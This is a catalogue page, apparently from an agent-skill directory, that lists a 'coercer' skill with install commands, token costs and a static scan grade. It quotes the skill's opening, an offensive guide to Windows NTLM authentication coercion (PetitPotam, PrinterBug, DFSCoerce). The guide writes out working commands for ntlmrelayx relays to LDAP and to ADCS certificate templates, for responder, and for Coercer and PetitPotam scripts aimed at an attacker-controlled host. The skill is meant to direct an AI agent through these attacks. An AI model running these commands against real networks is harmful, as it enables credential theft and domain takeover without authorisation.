Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill coercergit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/coercer)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/coercer"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/coercer/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/coercer"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/coercer.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00071 | $0.01342 |
| Opus 5 | $0.00036 | $0.00671 |
| Sonnet 5 | $0.00014 | $0.00268 |
| Haiku 4.5 | $0.00007 | $0.00134 |
Grade B, and why
coercer scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support This is a copy
100% identical to ad-coercer — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 107 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Authentication Coercion (PetitPotam family)
Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.
The family of coercion vulnerabilities
| Vector | Protocol | RPC | Mitigated by |
|---|---|---|---|
| PetitPotam | MS-EFSR (Encrypting File System Remote) | EfsRpcOpenFileRaw |
KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods |
| PrinterBug | MS-RPRN (Print System Remote) | RpcRemoteFindFirstPrinterChangeNotificationEx |
Disable Print Spooler |
| DFSCoerce | MS-DFSNM (Distributed File System) | NetrDfsGetVersion, NetrDfsRemoveStdRoot |
Restrict DFSN to admins |
| ShadowCoerce | MS-FSRVP (File Server Remote VSS) | IsPathSupported |
KB5015527 (Jul 2022) |
| CheeseOunce / WebDavCoerce | WebDAV WebClient | (various) | Disable WebClient service |
All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.
Workflow
1. Set up the listener (attacker)
# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0
2. Coerce auth from a target machine
# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''
# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 107 lines · 71 tokens per session scan B b4ce9adfd451
coercer is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 71 tokens to every session and 1,342 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). It is 100% identical to ad-coercer, differing in 2 lines, and is treated as a copy.
Other skills, from other repositories
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-4.3
Ensure AWS Config is enabled in all regions.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.5
Ensure MFA is enabled for the 'root' user account.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.